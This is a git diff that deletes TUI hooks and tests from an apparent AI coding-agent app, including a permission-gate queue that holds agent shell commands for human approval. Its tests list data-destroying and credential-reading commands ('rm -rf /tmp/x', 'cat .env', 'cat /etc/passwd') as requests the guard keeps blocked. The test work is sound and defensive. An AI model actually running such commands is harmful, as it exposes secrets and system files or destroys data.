Dispatch>; - setLoginModal: Dispatch>; - handlePasteImage: () => void; - onStartWorkflow: ((name: string) => string) | undefined; - sendMessage: (message: OutboundUserMessage) => void; -}; - -export type CommandDispatchController = { - handleCommand: (result: CommandResult) => void; - refreshPermissions: () => void; - handleRevokePermission: (entry: ScopedApproval) => void; -}; - -/** Dispatches slash-command results (`CommandResult`) to the relevant piece - * of app state — overlays, the agent modal, workflows, tier switching — and - * owns the permissions-admin refresh/revoke round trip used by those overlays. */ -export function useCommandDispatch({ - handleSend, - setCommandMessage, - providerCatalog, - tiers, - applySelection, - reasoningEffort, - setTasksExpanded, - permissionsAdmin, - setPermissionEntries, - setPermissionsOpen, - setSettingsOpen, - pluginsAdmin, - setPluginsOpen, - setHelpOpen, - setAgentModalOpen, - refreshAuthState, - provider, - setAgentModalUsage, - setLoginModal, - handlePasteImage, - onStartWorkflow, - sendMessage, -}: UseCommandDispatchArgs): CommandDispatchController { - const refreshPermissions = (): void => { - if (permissionsAdmin === undefined) return; - void permissionsAdmin.list().then(setPermissionEntries); - }; - - const handleRevokePermission = (entry: ScopedApproval): void => { - if (permissionsAdmin === undefined) return; - void permissionsAdmin.revoke(entry).then(refreshPermissions); - }; - - const handleCommand = (result: CommandResult): void => { - if (result.type === "send") { - handleSend(result.text); - return; - } - if (result.type === "message") { - setCommandMessage(result.text); - return; - } - if (result.type === "tier") { - // Resolve strictly against the named tier (no fast→standard→clever - // fallback walk) so /fast means "the fast tier's model", not "whatever - // resolves." Provider names come from the live catalog so a tier assigned - // this session is recognised without a restart. - const settings: Settings = { - providers: Object.fromEntries(providerCatalog.map((p) => [p.name, p])), - tiers, - }; - const leg = tierDefinitionAt(result.tier, settings)?.order[0]; - if (leg === undefined) { - setCommandMessage(`The ${result.tier} tier is not configured. Assign it in /model.`); - return; - } - applySelection(leg.provider, leg.model, reasoningEffort); - setCommandMessage(`Switched to ${result.tier} tier (${leg.model}).`); - return; - } - if (result.type === "view") { - setTasksExpanded(true); - return; - } - if (result.type === "overlay") { - if (result.overlay === "permissions") { - refreshPermissions(); - setPermissionsOpen(true); - } else if (result.overlay === "settings") { - refreshPermissions(); - setSettingsOpen(true); - } else if (result.overlay === "plugins") { - if (pluginsAdmin === undefined) { - setCommandMessage("Plugins are not available in this context."); - } else { - setPluginsOpen(true); - } - } else { - setHelpOpen(true); - } - return; - } - if (result.type === "modal" && result.modal === "agent") { - setAgentModalOpen(true); - refreshAuthState(); - const codexName = codexProfileFromProviderName(provider); - const xaiName = xaiProfileFromProviderName(provider); - setAgentModalUsage(null); - if (codexName !== undefined) { - void fetchCodexUsage(codexName).then( - (usage) => { - setAgentModalUsage(formatCodexUsage(usage)); - }, - () => setAgentModalUsage(null), - ); - } else if (xaiName !== undefined) { - const entry = providerCatalog.find((e) => e.name === provider); - void fetchXaiUsage(xaiName, entry?.baseURL).then( - (usage) => { - setAgentModalUsage(formatXaiUsage(usage)); - }, - () => setAgentModalUsage(null), - ); - } else { - setAgentModalUsage(null); - } - } - if (result.type === "modal" && (result.modal === "codex-login" || result.modal === "xai-login")) { - setLoginModal(result.modal === "xai-login" ? "xai" : "codex"); - } - if (result.type === "paste-image") { - handlePasteImage(); - return; - } - if (result.type === "workflow") { - if (onStartWorkflow === undefined) { - setCommandMessage("Workflows are not available in this context."); - } else { - const msg = onStartWorkflow(result.name); - if (msg.startsWith("Started")) { - sendMessage({ text: workflowKickoffUserMessage(result.args), attachments: [] }); - } else { - setCommandMessage(msg); - } - } - } - }; - - return { handleCommand, refreshPermissions, handleRevokePermission }; -} diff --git a/src/tui/hooks/use-drain-logic.ts b/src/tui/hooks/use-drain-logic.ts deleted file mode 100644 index 0d26593c9..000000000 --- a/src/tui/hooks/use-drain-logic.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { useEffect, useState, type Dispatch, type SetStateAction } from "react"; -import type { EventEmitter } from "node:events"; -import type { AgentStreamView } from "../use-stream.js"; -import type { SubAgentSessionStore } from "../../subagent/index.js"; -import type { Task } from "../../agent/tasks.js"; -import type { OutboundUserMessage } from "../message-types.js"; - -export type UseDrainLogicArgs = { - eventEmitter: EventEmitter; - subAgentSessions: SubAgentSessionStore | undefined; - setSessionsTick: Dispatch>; - stateRef: { current: AgentStreamView }; - activeSubAgentsRef: { current: Task[] }; - sendMessageRef: { current: (message: OutboundUserMessage) => void }; - pendingQueueRef: { current: OutboundUserMessage[] }; - tryDrainQueuedMessageRef: { current: () => void }; -}; - -export type DrainLogicController = { - queuedCount: number; - setQueuedCount: Dispatch>; - hasRunningSubAgentSessions: () => boolean; -}; - -// Messages queued while the agent is processing. Drained one-at-a-time when -// isProcessing goes false (connector.reply fires). Lives in React state so -// the drain path goes through sendMessage(), which correctly sets isProcessing. -export function useDrainLogic({ - eventEmitter, - subAgentSessions, - setSessionsTick, - stateRef, - activeSubAgentsRef, - sendMessageRef, - pendingQueueRef, - tryDrainQueuedMessageRef, -}: UseDrainLogicArgs): DrainLogicController { - const [queuedCount, setQueuedCount] = useState(0); - - const hasRunningSubAgentSessions = (): boolean => - subAgentSessions?.list().some((session) => session.status === "running") ?? false; - - tryDrainQueuedMessageRef.current = () => { - if (stateRef.current.status === "blocked") return; - if (stateRef.current.isProcessing) return; - if (activeSubAgentsRef.current.length > 0) return; - if (hasRunningSubAgentSessions()) return; - if (pendingQueueRef.current.length === 0) return; - const next = pendingQueueRef.current.shift()!; - setQueuedCount((c) => Math.max(0, c - 1)); - sendMessageRef.current(next); - }; - - useEffect(() => { - if (subAgentSessions === undefined) return; - return subAgentSessions.subscribe(() => { - setSessionsTick((n) => n + 1); - tryDrainQueuedMessageRef.current(); - }); - }, [subAgentSessions]); - - // Drain one queued message when the orchestrator is idle and no sub-agents run. - useEffect(() => { - const onEvent = (event: { type: string }) => { - if (event.type !== "connector.reply") return; - tryDrainQueuedMessageRef.current(); - }; - eventEmitter.on("event", onEvent); - return () => { eventEmitter.off("event", onEvent); }; - // eslint-disable-next-line react-hooks/exhaustive-deps - }, []); - - return { queuedCount, setQueuedCount, hasRunningSubAgentSessions }; -} diff --git a/src/tui/hooks/use-gates.test.ts b/src/tui/hooks/use-gates.test.ts deleted file mode 100644 index ccc0fe34d..000000000 --- a/src/tui/hooks/use-gates.test.ts +++ /dev/null @@ -1,315 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { EventEmitter } from "node:events"; -import { join } from "node:path"; -import { createElement } from "react"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import { isRequestCoveredByGrant } from "../../permission/gate.js"; -import { createPathRestriction } from "../../permission/path-restriction.js"; -import { createWorktreeRootsProvider } from "../../permission/worktree-roots.js"; -import type { ApprovalOutcome, Approval, PermissionRequest } from "../../permission/types.js"; -import { useGates, type GateController, type PermissionGrantEvent } from "./use-gates.js"; - -// Pre-grant path guards rebind relative tokens to the request's process cwd. -// Use real workspace paths so program tokens like "npm"/"test" resolve inside -// the workspace; fake roots like /repo make every token look restricted. -const WORKSPACE = process.cwd(); -const REPO_A = join(WORKSPACE, "repo-a"); -const REPO_B = join(WORKSPACE, "repo-b"); - -function request(overrides: Partial = {}): PermissionRequest { - return { - tool: "run_shell", - action: "Run", - subject: "bun install", - scopes: [], - cwd: WORKSPACE, - ...overrides, - }; -} - -function Harness({ - emitter, - controllerRef, - activeProviderModel, -}: { - emitter: EventEmitter; - controllerRef: { current: GateController | null }; - activeProviderModel?: string; -}) { - const gates = useGates({ - eventEmitter: emitter, - setGatePending: () => {}, - ...(activeProviderModel !== undefined ? { activeProviderModel } : {}), - }); - controllerRef.current = gates; - return createElement(Text, null, String(gates.permissionQueueDepth)); -} - -function enqueuePermission( - emitter: EventEmitter, - req: PermissionRequest, -): Promise { - return new Promise((resolve) => { - emitter.emit("permission.gate", { request: req, resolve }); - }); -} - -// Mirrors what the gate hands to onGrant: coverage judged with the gate's own -// path restriction, never one re-derived from the request's cwd. -function grant( - emitter: EventEmitter, - approval: Approval, - activeProviderModel?: string, -): void { - const cwd = process.cwd(); - const isRestricted = createPathRestriction(cwd, createWorktreeRootsProvider(cwd)).isRestricted; - const event: PermissionGrantEvent = { - approval, - covers: (request) => - isRequestCoveredByGrant(request, approval, activeProviderModel, isRestricted), - }; - emitter.emit("permission.grant", event); -} - -describe("useGates queue reconciliation", () => { - test("a session grant drains other queued requests it now covers", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - for (let i = 0; i < 3; i++) { - enqueuePermission(emitter, request({ subject: "bun install" })).then((o) => outcomes.push(o)); - } - rerender(element()); - expect(controllerRef.current!.permissionQueueDepth).toBe(3); - - grant(emitter, { tool: "run_shell", pattern: "bun install" }); - rerender(element()); - - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(0); - expect(outcomes).toHaveLength(3); - expect(outcomes.every((o) => o.allow)).toBe(true); - - unmount(); - }); - - test("a project-scoped grant only drains requests from the same repo", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: Array<{ cwd: string; outcome: ApprovalOutcome }> = []; - enqueuePermission(emitter, request({ subject: "npm test", cwd: REPO_A })).then((o) => - outcomes.push({ cwd: REPO_A, outcome: o }), - ); - enqueuePermission(emitter, request({ subject: "npm test", cwd: REPO_B })).then((o) => - outcomes.push({ cwd: REPO_B, outcome: o }), - ); - rerender(element()); - expect(controllerRef.current!.permissionQueueDepth).toBe(2); - - // A project grant minted in repo-a must never drain repo-b's queued request. - grant(emitter, { tool: "run_shell", pattern: "npm test", cwd: REPO_A }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(1); - expect(outcomes).toHaveLength(1); - expect(outcomes[0]!.cwd).toBe(REPO_A); - expect(outcomes[0]!.outcome.allow).toBe(true); - - // Settle the remaining one so the promise doesn't dangle across tests. - controllerRef.current!.resetGates(); - await new Promise((r) => setTimeout(r, 0)); - unmount(); - }); - - test("a global grant drains queued requests regardless of repo", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "npm test", cwd: REPO_A })).then((o) => - outcomes.push(o), - ); - enqueuePermission(emitter, request({ subject: "npm test", cwd: REPO_B })).then((o) => - outcomes.push(o), - ); - rerender(element()); - - // Global grants carry no cwd, so they cover requests from any repo. - grant(emitter, { tool: "run_shell", pattern: "npm test" }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(0); - expect(outcomes).toHaveLength(2); - expect(outcomes.every((o) => o.allow)).toBe(true); - - unmount(); - }); - - test("a provider-model grant only drains requests matching the active model", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => - createElement(Harness, { emitter, controllerRef, activeProviderModel: "anthropic:opus" }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "npm test" })).then((o) => outcomes.push(o)); - rerender(element()); - - grant(emitter, { - tool: "run_shell", - pattern: "npm test", - providerModel: "openai:gpt-5", - }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(1); - expect(outcomes).toHaveLength(0); - - controllerRef.current!.resetGates(); - await new Promise((r) => setTimeout(r, 0)); - unmount(); - }); - - test("a provider-model grant drains the queue when the active model matches", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const active = "openai:gpt-5"; - const element = () => - createElement(Harness, { emitter, controllerRef, activeProviderModel: active }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "npm test" })).then((o) => outcomes.push(o)); - rerender(element()); - - grant( - emitter, - { - tool: "run_shell", - pattern: "npm test", - providerModel: active, - }, - active, - ); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(0); - expect(outcomes).toHaveLength(1); - expect(outcomes[0]!.allow).toBe(true); - - unmount(); - }); - - test("a grant that does not match the queued command's pattern leaves it queued", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "rm -rf /tmp/x" })).then((o) => outcomes.push(o)); - rerender(element()); - - grant(emitter, { tool: "run_shell", pattern: "bun install" }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(1); - expect(outcomes).toHaveLength(0); - - controllerRef.current!.resetGates(); - await new Promise((r) => setTimeout(r, 0)); - unmount(); - }); - - test("a secret-path request stays queued after a covering grant mints", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "cat .env" })).then((o) => outcomes.push(o)); - rerender(element()); - - grant(emitter, { tool: "run_shell", pattern: "cat *" }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(1); - expect(outcomes).toHaveLength(0); - - controllerRef.current!.resetGates(); - await new Promise((r) => setTimeout(r, 0)); - unmount(); - }); - - test("a restricted-path request stays queued after a covering grant mints", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "cat /etc/passwd" })).then((o) => - outcomes.push(o), - ); - rerender(element()); - - grant(emitter, { tool: "run_shell", pattern: "cat *" }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(1); - expect(outcomes).toHaveLength(0); - - controllerRef.current!.resetGates(); - await new Promise((r) => setTimeout(r, 0)); - unmount(); - }); - - test("a plain covered request still auto-drains despite the new guards", async () => { - const emitter = new EventEmitter(); - const controllerRef: { current: GateController | null } = { current: null }; - const element = () => createElement(Harness, { emitter, controllerRef }); - const { rerender, unmount } = render(element()); - - const outcomes: ApprovalOutcome[] = []; - enqueuePermission(emitter, request({ subject: "cat README.md" })).then((o) => outcomes.push(o)); - rerender(element()); - - grant(emitter, { tool: "run_shell", pattern: "cat *" }); - rerender(element()); - await new Promise((r) => setTimeout(r, 0)); - rerender(element()); - - expect(controllerRef.current!.permissionQueueDepth).toBe(0); - expect(outcomes).toHaveLength(1); - expect(outcomes[0]!.allow).toBe(true); - - unmount(); - }); -}); diff --git a/src/tui/hooks/use-gates.ts b/src/tui/hooks/use-gates.ts deleted file mode 100644 index 23881c133..000000000 --- a/src/tui/hooks/use-gates.ts +++ /dev/null @@ -1,364 +0,0 @@ -import { useEffect, useRef, useState } from "react"; -import type { EventEmitter } from "node:events"; -import type { Approval, ApprovalOutcome, PermissionRequest } from "../../permission/types.js"; -import type { OperatorResult } from "../../agent/tools.js"; -import type { PlanStep } from "../use-stream.js"; -import { goalApprovalTimeoutMessage } from "../../permission/goal-approval-timeout.js"; - - -export type PlanGateEvent = { - plan: PlanStep[]; - resolve: (approved: boolean) => void; -}; - -export type OperatorGateEvent = { - question: string; - options: string[]; - resolve: (result: OperatorResult) => void; -}; - -export type PermissionGateEvent = { - request: PermissionRequest; - resolve: (outcome: ApprovalOutcome) => void; - /** - * When set (goal mode active), auto-deny if the operator has not answered - * within this many ms so an unattended goal cannot park on the modal forever. - */ - timeoutMs?: number; - /** Override the agent-facing deny message on timeout. */ - timeoutMessage?: string; - /** - * Tool-execution budget signal. When aborted (watchdog timeout or parent - * cancel), this permission entry is auto-denied even if it is not the head - * of the queue — so the modal cannot outlive a tool that already finished. - */ - signal?: AbortSignal; -}; - -export type ActiveApproval = - | { id: number; kind: "plan"; plan: PlanStep[] } - | { id: number; kind: "operator"; question: string; options: string[] } - | { id: number; kind: "permission"; request: PermissionRequest; timeoutMs: number | null }; - -// One line per queued (not just visible) permission request, so the modal can -// show that other approvals are waiting and which agent each belongs to — -// distinct agentLabel values render as visually distinct entries. -export type QueuedApprovalSummary = { id: number; tool: string; agentLabel?: string }; - -export type GateController = { - activeApproval: ActiveApproval | null; - /** Permission gates still queued, including the visible modal. */ - permissionQueueDepth: number; - /** Summary of every queued (not just visible) permission request. */ - queuedApprovals: readonly QueuedApprovalSummary[]; - gateOpen: boolean; - approve: (id: number) => void; - reject: (id: number) => void; - selectOperator: (id: number, result: OperatorResult) => void; - resolvePermission: (id: number, outcome: ApprovalOutcome) => void; - resetGates: () => void; -}; - -// Fired synchronously by the permission gate right after a grant is minted -// (see PermissionGateOptions.onGrant) so the queue can drop any already-queued -// requests the new grant now covers, before the next prompt renders. -export type PermissionGrantEvent = { - approval: Approval; - // Supplied by the gate so coverage is judged against the gate's own path - // restriction; the hook must never re-derive it from a request's cwd. - covers: (request: PermissionRequest) => boolean; -}; - -export type UseGatesArgs = { - eventEmitter: EventEmitter; - setGatePending: (pending: boolean) => void; - activationBlocked?: boolean; -}; - -type PlanQueueEntry = { - id: number; - kind: "plan"; - plan: PlanStep[]; - resolve: (approved: boolean) => void; -}; - -type OperatorQueueEntry = { - id: number; - kind: "operator"; - question: string; - options: string[]; - resolve: (result: OperatorResult) => void; -}; - -type PermissionQueueEntry = { - id: number; - kind: "permission"; - request: PermissionRequest; - resolve: (outcome: ApprovalOutcome) => void; - timer: ReturnType | null; - timeoutMs?: number; - timeoutMessage?: string; - /** Detach budget-abort listener when the entry settles. */ - detachAbort: (() => void) | null; -}; - -type GateQueueEntry = PlanQueueEntry | OperatorQueueEntry | PermissionQueueEntry; - -function toActiveApproval(entry: GateQueueEntry): ActiveApproval { - switch (entry.kind) { - case "plan": - return { id: entry.id, kind: entry.kind, plan: entry.plan }; - case "operator": - return { id: entry.id, kind: entry.kind, question: entry.question, options: entry.options }; - case "permission": - return { - id: entry.id, - kind: entry.kind, - request: entry.request, - timeoutMs: entry.timeoutMs ?? null, - }; - } -} - -function clearEntryTimer(entry: GateQueueEntry): void { - if (entry.kind !== "permission" || entry.timer === null) return; - clearTimeout(entry.timer); - entry.timer = null; -} - -function detachEntryAbort(entry: GateQueueEntry): void { - if (entry.kind !== "permission") return; - entry.detachAbort?.(); - entry.detachAbort = null; -} - -export function useGates({ - eventEmitter, - setGatePending, - activationBlocked = false, -}: UseGatesArgs): GateController { - const [activeApproval, setActiveApproval] = useState(null); - const [queuedApprovals, setQueuedApprovals] = useState([]); - const queue = useRef([]); - // Depth is the length of the permission summary list — one source of truth. - const permissionQueueDepth = queuedApprovals.length; - - function syncQueuedApprovals(): void { - setQueuedApprovals( - queue.current - .filter((e): e is PermissionQueueEntry => e.kind === "permission") - .map((e) => ({ - id: e.id, - tool: e.request.tool, - ...(e.request.agentLabel !== undefined ? { agentLabel: e.request.agentLabel } : {}), - })), - ); - } - const nextId = useRef(1); - const activeId = useRef(null); - const activationBlockedRef = useRef(activationBlocked); - const setGatePendingRef = useRef(setGatePending); - activationBlockedRef.current = activationBlocked; - setGatePendingRef.current = setGatePending; - - function updateVisibleEntry(): void { - const head = queue.current[0]; - if (head === undefined) { - activeId.current = null; - setActiveApproval(null); - return; - } - if (activeId.current === null && activationBlockedRef.current) { - setActiveApproval(null); - return; - } - activeId.current = head.id; - setActiveApproval(toActiveApproval(head)); - if (head.kind !== "permission" || head.timer !== null) return; - const timeoutMs = head.timeoutMs; - if (timeoutMs === undefined || timeoutMs <= 0) return; - const message = head.timeoutMessage ?? goalApprovalTimeoutMessage(timeoutMs); - head.timer = setTimeout(() => { - settlePermission(head.id, { allow: false, message }); - }, timeoutMs); - } - - /** - * Remove a queue entry by id (even if not head). Used when a tool budget - * aborts while its permission prompt is still waiting behind another gate. - */ - function removeEntry(id: number, kind: GateQueueEntry["kind"]): GateQueueEntry | null { - const index = queue.current.findIndex((e) => e.id === id && e.kind === kind); - if (index === -1) return null; - const [entry] = queue.current.splice(index, 1); - if (entry === undefined) return null; - clearEntryTimer(entry); - detachEntryAbort(entry); - if (entry.kind === "permission") { - syncQueuedApprovals(); - } - setGatePendingRef.current(false); - if (index === 0) { - activeId.current = null; - updateVisibleEntry(); - } - return entry; - } - - function settleHead(id: number, kind: GateQueueEntry["kind"]): GateQueueEntry | null { - const head = queue.current[0]; - if (head === undefined || head.id !== id || head.kind !== kind) return null; - return removeEntry(id, kind); - } - - function settlePlan(id: number, approved: boolean): void { - const entry = settleHead(id, "plan"); - if (entry?.kind === "plan") entry.resolve(approved); - } - - function settleOperator(id: number, result: OperatorResult): void { - const entry = settleHead(id, "operator"); - if (entry?.kind === "operator") entry.resolve(result); - } - - function settlePermission(id: number, outcome: ApprovalOutcome): void { - // Prefer head settle for the normal modal path; fall back to by-id so a - // budget abort can dismiss a non-head permission still in the queue. - const entry = settleHead(id, "permission") ?? removeEntry(id, "permission"); - if (entry?.kind === "permission") entry.resolve(outcome); - } - - // Re-evaluate every still-queued permission entry against a newly-minted - // grant. Requests it now covers are auto-approved and removed without - // rendering a prompt for them. Runs against a snapshot of the queue so - // settling entries mid-loop never skips or double-visits one. - function reconcileQueue(covers: (request: PermissionRequest) => boolean): void { - const snapshot = queue.current.filter( - (entry): entry is PermissionQueueEntry => entry.kind === "permission", - ); - for (const entry of snapshot) { - if (!covers(entry.request)) continue; - settlePermission(entry.id, { allow: true }); - } - } - - function enqueue(entry: GateQueueEntry): void { - queue.current.push(entry); - if (entry.kind === "permission") { - syncQueuedApprovals(); - } - setGatePendingRef.current(true); - if (queue.current.length === 1) updateVisibleEntry(); - } - - function drainQueue(): void { - const remaining = queue.current.splice(0); - activeId.current = null; - setActiveApproval(null); - setQueuedApprovals([]); - for (const entry of remaining) { - clearEntryTimer(entry); - detachEntryAbort(entry); - } - for (const entry of remaining) { - setGatePendingRef.current(false); - switch (entry.kind) { - case "plan": - entry.resolve(false); - break; - case "operator": - entry.resolve({ kind: "cancel" }); - break; - case "permission": - entry.resolve({ allow: false }); - break; - } - } - } - - useEffect(() => { - if (!activationBlocked && activeId.current === null && queue.current.length > 0) { - updateVisibleEntry(); - } - // Queue state is ref-backed; promotion only reacts to blocker transitions. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [activationBlocked]); - - useEffect(() => { - const onPlan = ({ plan, resolve }: PlanGateEvent) => { - enqueue({ id: nextId.current++, kind: "plan", plan, resolve }); - }; - const onOperator = ({ question, options, resolve }: OperatorGateEvent) => { - enqueue({ id: nextId.current++, kind: "operator", question, options, resolve }); - }; - const onPermission = ({ - request, - resolve, - timeoutMs, - timeoutMessage, - signal, - }: PermissionGateEvent) => { - const id = nextId.current++; - const entry: PermissionQueueEntry = { - id, - kind: "permission", - request, - resolve, - timer: null, - detachAbort: null, - ...(timeoutMs !== undefined && timeoutMs > 0 ? { timeoutMs } : {}), - ...(timeoutMessage !== undefined ? { timeoutMessage } : {}), - }; - if (signal !== undefined) { - const onAbort = (): void => { - settlePermission(id, { - allow: false, - message: "tool timed out or was cancelled while waiting for approval", - }); - }; - if (signal.aborted) { - // Already dead — still enqueue then settle so gatePending balances. - enqueue(entry); - settlePermission(id, { - allow: false, - message: "tool timed out or was cancelled while waiting for approval", - }); - return; - } - signal.addEventListener("abort", onAbort, { once: true }); - entry.detachAbort = () => signal.removeEventListener("abort", onAbort); - } - enqueue(entry); - }; - - const onGrant = ({ covers }: PermissionGrantEvent) => { - reconcileQueue(covers); - }; - - eventEmitter.on("plan.gate", onPlan); - eventEmitter.on("operator.gate", onOperator); - eventEmitter.on("permission.gate", onPermission); - eventEmitter.on("permission.grant", onGrant); - return () => { - eventEmitter.off("plan.gate", onPlan); - eventEmitter.off("operator.gate", onOperator); - eventEmitter.off("permission.gate", onPermission); - eventEmitter.off("permission.grant", onGrant); - drainQueue(); - }; - // Queue operations are ref-backed; listeners should only change with their emitter. - // eslint-disable-next-line react-hooks/exhaustive-deps - }, [eventEmitter]); - - return { - activeApproval, - permissionQueueDepth, - queuedApprovals, - gateOpen: activeApproval !== null, - approve: (id) => settlePlan(id, true), - reject: (id) => settlePlan(id, false), - selectOperator: settleOperator, - resolvePermission: settlePermission, - resetGates: drainQueue, - }; -} diff --git a/src/tui/hooks/use-image-attach.ts b/src/tui/hooks/use-image-attach.ts deleted file mode 100644 index e870e55d0..000000000 --- a/src/tui/hooks/use-image-attach.ts +++ /dev/null @@ -1,61 +0,0 @@ -import { useState, type Dispatch, type SetStateAction } from "react"; -import { - extractPastedImagePaths, - imageAttachmentFromPath, - readClipboardImage, - type PendingImageAttachment, -} from "../image-attachments.js"; - -export type UseImageAttachArgs = { - cwd: string; - setCommandMessage: (message: string | null) => void; -}; - -export type ImageAttachController = { - pendingImages: PendingImageAttachment[]; - setPendingImages: Dispatch>; - addPendingImage: (attachment: PendingImageAttachment) => void; - handlePasteImage: () => void; - handlePasteText: (text: string) => boolean; -}; - -export function useImageAttach({ cwd, setCommandMessage }: UseImageAttachArgs): ImageAttachController { - const [pendingImages, setPendingImages] = useState([]); - - const addPendingImage = (attachment: PendingImageAttachment): void => { - setPendingImages((prev) => [...prev, attachment]); - setCommandMessage(`Attached image: ${attachment.name}`); - }; - - const handlePasteImage = (): void => { - setCommandMessage("Reading clipboard image..."); - void readClipboardImage().then((result) => { - if (!result.ok) { - setCommandMessage(`Image paste failed: ${result.reason}`); - return; - } - addPendingImage(result.attachment); - }); - }; - - const handlePasteText = (text: string): boolean => { - const paths = extractPastedImagePaths(text, cwd); - if (paths.length === 0) return false; - setCommandMessage(`Attaching ${paths.length} image${paths.length === 1 ? "" : "s"}...`); - void Promise.all(paths.map((path) => imageAttachmentFromPath(path))).then((results) => { - const attached = results.filter((result): result is { ok: true; attachment: PendingImageAttachment } => result.ok); - const failed = results.length - attached.length; - if (attached.length > 0) { - setPendingImages((prev) => [...prev, ...attached.map((result) => result.attachment)]); - } - setCommandMessage( - failed > 0 - ? `Attached ${attached.length} image${attached.length === 1 ? "" : "s"}; ${failed} failed.` - : `Attached ${attached.length} image${attached.length === 1 ? "" : "s"}.`, - ); - }); - return true; - }; - - return { pendingImages, setPendingImages, addPendingImage, handlePasteImage, handlePasteText }; -} diff --git a/src/tui/hooks/use-keymap.test.ts b/src/tui/hooks/use-keymap.test.ts deleted file mode 100644 index 67f9408f9..000000000 --- a/src/tui/hooks/use-keymap.test.ts +++ /dev/null @@ -1,225 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import type { Key } from "ink"; -import { handleKey, type KeymapActions, type KeymapContext } from "./use-keymap.js"; - -function key(partial: Partial = {}): Key { - return { ...partial } as Key; -} - -const noopActions: KeymapActions = { - clearInput: () => undefined, - requestExit: () => undefined, - requestStop: () => undefined, - toggleHookPanel: () => undefined, - selectHook: () => undefined, - closeHookPanel: () => undefined, - scrollUp: () => undefined, - scrollDown: () => undefined, - scrollToBottom: () => undefined, - toggleTaskPanel: () => undefined, - toggleThinking: () => undefined, - toggleLastTool: () => undefined, - toggleVerbose: () => undefined, - toggleTaskSidebar: () => undefined, - toggleHelp: () => undefined, - copyMcpUrl: () => undefined, - enterCopyMode: () => undefined, - copyModeNext: () => undefined, - copyModePrev: () => undefined, - copyModeConfirm: () => undefined, - copyModeCopyAll: () => undefined, - copyModeCancel: () => undefined, - cycleMode: () => undefined, - enterAgentsNav: () => undefined, - agentsNavNext: () => undefined, - agentsNavPrev: () => undefined, - agentsNavConfirm: () => undefined, - agentsNavCancel: () => undefined, - agentsNavKill: () => undefined, - exitEnteredSession: () => undefined, - dismissSettingsNotice: () => undefined, -}; - -const baseContext: KeymapContext = { - exitConfirmOpen: false, - helpOpen: false, - gateOpen: false, - agentModalOpen: false, - hookPanelOpen: false, - taskFullScreenOpen: false, - hasInput: false, - inputFocused: true, - isRunning: false, - commandPaletteOpen: false, - copyModeOpen: false, - agentsNavOpen: false, - enteredSession: false, - settingsNoticePresent: false, -}; - -describe("handleKey quota cancel", () => { - test("double ESC with isRunning (quota wait) calls requestStop", () => { - let stopped = false; - const actions: KeymapActions = { ...noopActions, requestStop: () => { stopped = true; } }; - const context: KeymapContext = { ...baseContext, isRunning: true }; - const t0 = 1_000; - const afterFirst = handleKey("", key({ escape: true }), context, actions, 0, t0); - handleKey("", key({ escape: true }), context, actions, afterFirst, t0 + 100); - - expect(stopped).toBe(true); - }); -}); - -describe("approval gates", () => { - test("gate input preempts copy and agent navigation modes", () => { - const calls: string[] = []; - const actions: KeymapActions = { - ...noopActions, - copyModeNext: () => calls.push("copy-next"), - copyModeConfirm: () => calls.push("copy-confirm"), - agentsNavNext: () => calls.push("agent-next"), - agentsNavConfirm: () => calls.push("agent-confirm"), - exitEnteredSession: () => calls.push("exit-session"), - }; - const context: KeymapContext = { - ...baseContext, - gateOpen: true, - copyModeOpen: true, - agentsNavOpen: true, - enteredSession: true, - }; - - handleKey("", key({ downArrow: true }), context, actions, 0, 0); - handleKey("", key({ return: true }), context, actions, 0, 0); - handleKey("", key({ escape: true }), context, actions, 0, 0); - - expect(calls).toEqual([]); - }); 